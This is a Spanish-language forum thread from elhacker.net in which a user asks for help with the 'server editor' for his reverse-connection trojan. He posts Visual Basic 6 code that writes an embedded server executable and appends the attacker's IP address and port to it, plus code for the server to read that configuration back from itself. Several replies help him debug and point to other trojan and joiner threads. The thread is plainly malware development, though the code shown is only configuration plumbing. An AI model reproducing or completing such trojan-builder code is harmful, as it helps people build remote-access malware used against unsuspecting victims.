Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: aaronduran2 en 17 Septiembre 2008, 22:49 pm



Título: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 17 Septiembre 2008, 22:49 pm
Hola. Estoy diseñando el editor de servidor de mi troyano. Al ser de conexión inversa, en el servidor tiene que figurar la dirección IP y el puerto al que se debe conectar. Utilizo este código para crearlo:

Código
  1. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  2. '    //CargarRes//
  3. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  4. '   Extraer archivo de los recursos.
  5. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  6. Public Sub CargarRes(NumRES As Integer, RutaCopy As String)
  7.    Dim File() As Byte
  8.    If Dir(RutaCopy) = "" Then
  9.        File = LoadResData(NumRES, "CUSTOM")
  10.        Open RutaCopy For Binary Access Write As #1
  11.            Put #1, , File
  12.        Close #1
  13.    End If
  14. End Sub
  15.  
  16. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  17. '    //cmdCrearServidor_Click//
  18. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  19. Private Sub cmdCrearServidor_Click()
  20.    If txtPuerto.Text > 65535 Then
  21.        MsgBox "El puerto debe ser inferior a 65535"
  22.        Exit Sub
  23.    End If
  24.    cd.Filter = "Archivos ejecutables|*.exe"
  25.    cd.DialogTitle = "Generar servidor..."
  26.    cd.ShowSave
  27.    Ruta = cd.FileName
  28.    Call CargarRes(102, cd.FileName)
  29.    Open Ruta For Binary As #1
  30.        Put #1, LOF(1) + 1, txtDireccionIP.Text
  31.        Put #1, , "|"
  32.        Put #1, , txtPuerto.Text
  33.    Close #1
  34. End Sub

Y este es el que lee los datos:

Código
  1. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  2. '    //LeerDatos//
  3. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  4. '   Leer datos del servidor.
  5. '#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  6. Dim DireccionIP As String * 15
  7. Dim Puerto As String * 5
  8. Dim Secuencia As String * 30
  9.  
  10. Public Function LeerDatos()
  11.    Dim Secuencia As String * 30
  12.    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
  13.        Get #1, LOF(1) - 34, DireccionIP
  14.        Get #1, , Secuencia
  15.        Get #1, , Puerto
  16.    Close #1
  17.    MsgBox DireccionIP & "|" & Puerto
  18. End Function
  19.  

Pero no soy capaz de hacer que lea los datos. La caja de mensaje me aparece vacía. ¿Alguien me puede decir como lo hago?

Gracias de antemano.


Título: Re: Obtener datos de un ejecutable
Publicado por: cobein en 18 Septiembre 2008, 13:00 pm
Yo deje u code hace unos dias, miralo que ahi tenes la respuesta

http://foro.elhacker.net/programacion_vb/cryptosy_src-t227118.0.html

Sino busca que hay muuuuchos ejemplos de como hacerlo, por lo pronto te digo que parece que estas pisando los datos.


Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 18 Septiembre 2008, 15:52 pm
Estuve probando con tu ejemplo pero el ejecutable final me queda inservible. Lo que necesito es guardar la dirección IP, un separador (por ejemplo "|") y el puerto, y luego que el servidor se lea a sí mismo y obtenga los datos. Pero no soy capaz.

Saludos.


Título: Re: Obtener datos de un ejecutable
Publicado por: yovaninu en 18 Septiembre 2008, 17:19 pm
Uff que recuerdo de mi primer Joinner, y aun lo sigo usando he! un poco mejorado claro, echale un vistazo se que lo entenderas, aqui esta el viejo post

http://foro.elhacker.net/programacion_vb/mi_primer_troyano_en_vb60-t170445.0.html;msg825373#msg825373


Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 18 Septiembre 2008, 17:59 pm
@yovaninu

No soy capaz de hacerlo funcionar. Siempre me muestra datos equivocados. Probé a quitarle la cifrado y también falla. Si tuvieses un ejemplo sencillo, te lo agradecería.

Saludos.


Título: Re: Obtener datos de un ejecutable
Publicado por: yovaninu en 18 Septiembre 2008, 20:30 pm
@yovaninu

No soy capaz de hacerlo funcionar. Siempre me muestra datos equivocados. Probé a quitarle la cifrado y también falla. Si tuvieses un ejemplo sencillo, te lo agradecería.

Saludos.
si dices el error, de seguro que lo solucionamos

lo de la mini encriptacion es simple, no le afecta en nada, no deberias tener problemas con ese codigo


Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 18 Septiembre 2008, 20:33 pm
A ver, tengo dos campos de texto con la dirección IP y el puerto y utilizo el siguiente código:
Código
  1. Private Sub cmdCrearServidor_Click()
  2.    Dim TamañoIP As String, TamañoPuerto As String, TamañoFirma As String, TamañoTotal As String
  3.    Dim DatosEncriptados As String
  4.    If txtPuerto.Text > 65535 Then
  5.        MsgBox "El puerto debe ser inferior a 65535"
  6.        Exit Sub
  7.    End If
  8.    cd.Filter = "Archivos ejecutables|*.exe"
  9.    cd.DialogTitle = "Generar servidor..."
  10.    cd.ShowSave
  11.    Ruta = cd.FileName
  12.    Call CargarRes(102, cd.FileName)
  13.    DireccionIP = txtIP.Text
  14.    Puerto = txtPuerto.Text
  15.    Firma = "Editado"
  16.    DatosEncriptados = Trim$(Puerto) & "|" & Trim$(DireccionIP) & "|" & Trim$(Firma) & "|"
  17.    DatosEncriptados = cifrar(DatosEncriptados)
  18.    TamañoIP = Len(DireccionIP): TamañoPuerto = Len(Puerto): TamañoFirma = Len(Firma)
  19.    TamañoTotal = TamañoIP + TamañoPuerto + TamañoFirma
  20.    Open Ruta For Binary As #1
  21.        Seek (1), LOF(1) + 1
  22.        Put #1, , DatosEncriptados & Trim(Str(TamañoTotal))
  23.    Close #1
  24. End Sub
  25.  

Y en el servidor tengo esto:

Código
  1. Public Function LeerDatos()
  2.    Dim DatosLeer As String
  3.    Dim DatosSeparados As Variant
  4.    Dim DatosDesencriptados As String
  5.    Dim nd, nd1 As String
  6.    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2
  7.        DatosLeer = Input(LOF(2), #2)
  8.    Close #2
  9.    MsgBox DatosLeer
  10.    nd = Right(DatosLeer, 2)
  11.    MsgBox nd
  12.    nd1 = Right(DatosLeer, Val(nd) + 5)
  13.    MsgBox nd1
  14.    DatosDesencriptados = descifrar(nd1)
  15.    DatosSeparados = Split(DatosDesencriptados, "|")
  16.    DireccionIP = DatosSeparados(0)
  17.    Puerto = Val(DatosSeparados(1))
  18. End Function
  19.  

Puse MsgBox nd y MsgBox nd1 para ver lo que mostraba antes de hacer el proceso completo. No me funciona. Espero poder solucionarlo. Además, quería añadirles más cosas para guardar en el ejecutable, como el tipo de inicio, etc...

Saludos.


Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 18 Septiembre 2008, 22:59 pm
Yo había hecho este código, pero el servidor no me lee nada.

En el editor:

Código
  1. Open Ruta For Binary As #1
  2.    Put #1, LOF(1) + 1, "|" & DireccionIP & "|" & Puerto
  3.    Put #1, , Secuencia
  4. Close #1

En el servidor:

Código
  1. Dim Datos As String
  2. Dim DatosSeparados As Variant
  3. Dim Secuencia As String
  4. Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
  5.    Get #1, LOF(1), Datos
  6.    Get #1, , Secuencia
  7. Close #1

Los datos están cifrados. Accedo con el Hex Workshop al archivo creado y veo los datos, pero después no soy capaz de hacer que el servidor los lea. Si alguien me puede ayudar...

Saludos.


Título: Re: Obtener datos de un ejecutable
Publicado por: cobein en 19 Septiembre 2008, 01:24 am
Asi no vas a llegar muy lejos, mejor lee un manual de como leer y escribir archivos.


Título: Re: Obtener datos de un ejecutable
Publicado por: s E t H en 19 Septiembre 2008, 02:29 am
probaste usar el debuguer de vb6?

creo que al leer con "    Get #1, LOF(1), Datos" lees todo el archivo, y en Secuencia no te queda nada.. debuguea y fijate


Título: Re: Obtener datos de un ejecutable
Publicado por: yovaninu en 19 Septiembre 2008, 04:10 am
estas probando con los ejecutables verdad? no vaya ser que estes probando desde el IDE de BAsic

y otra cosa, estas poniendo tu funcion leerdatos en el load del form?

y respecto a la encriptacion no es nada ni siquiera deberia llamarse encriptacion es solo el reemplazo de unos caracteres por otro, debe haber una mejor forma de encripatr los datos adjuntos, es mas ni siquiera necesitabas el Hex workshop para verlos simplemente abre el ejecutable con el bloc de notas y veras los datos adjuntos.

Si subes tu proyecto y ahi te ayudamos?

Un saludo.


Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 19 Septiembre 2008, 08:11 am
Había hecho lo mismo con otro proyecto y no me fallaba, así que no sé por qué ahora no me funciona. Intentaré solucionarlo, gracias.

Saludos.


Título: Re: Obtener datos de un ejecutable
Publicado por: krackwar en 19 Septiembre 2008, 08:52 am
Había hecho lo mismo con otro proyecto y no me fallaba, así que no sé por qué ahora no me funciona. Intentaré solucionarlo, gracias.

Saludos.
NO hagas doble post , no hagas preguntas que ya se an hecho , busca en el foro que en un post con chincheta esta el link de un editor de server 100% funcional.


Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 19 Septiembre 2008, 15:06 pm
¿Dónde hice doble post? Yo no lo veo.


Título: Re: Obtener datos de un ejecutable
Publicado por: krackwar en 19 Septiembre 2008, 20:09 pm
¿Dónde hice doble post? Yo no lo veo.

     Re: Obtener datos de un ejecutable
« Respuesta #7 en: Ayer a las 22:59 »

     Re: Obtener datos de un ejecutable
« Respuesta #6 en: Ayer a las 20:33 »


Título: Re: Obtener datos de un ejecutable
Publicado por: aaronduran2 en 19 Septiembre 2008, 20:26 pm
El primero era un código que había posteado yovaninu, y el segundo era el que había puesto yo en mi código.

Saludos.